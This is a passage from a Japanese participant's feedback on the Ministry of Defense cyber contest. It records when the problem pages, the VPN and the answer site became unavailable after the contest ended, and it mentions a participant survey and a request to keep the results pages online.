    • その後~08/07 21時頃(=コンテスト終了から約24時間後)の間では、「問題一覧こそ表示できるものの各問題の詳細(問題文や正解者数など)は閲覧不能」な時間帯と、問題詳細へ正常にアクセスできる時間帯がありました。体感では閲覧不能な時間帯の方が長かったように思います。
    • 08/07 19時頃(=コンテスト終了から約22時間後)にはVPN接続ができなくなり、Web問題やPwn問題等の検証ができなくなりました。
    • 08/07 22時頃(=コンテスト終了から約25時間後)には回答サイト全体がERR_CONNECTION_TIMED_OUT(ドメイン名) took too long to respond.表示となり、閲覧不能になりました。
  • 終了後アンケート等、フィードバックを書く機会がほしかったです。少なくとも今回はありませんでした。
    • 2023/08/29(=コンテスト終了から約3週間後)に、参加者アンケートのメールが届きました。自由入力欄があったため、自由にフィードバックを書けました。
  • Google検索していると、第2回の成績優秀者等の結果紹介ページを防衛省・自衛隊:防衛省サイバーコンテストの結果についてで発見しました。しかし、どうやら第1回の結果紹介ページも同一URLであり、現状ではInternet Archive等でのみ確認可能なようです。どうか1年に限らず、末永く残していただければと思います。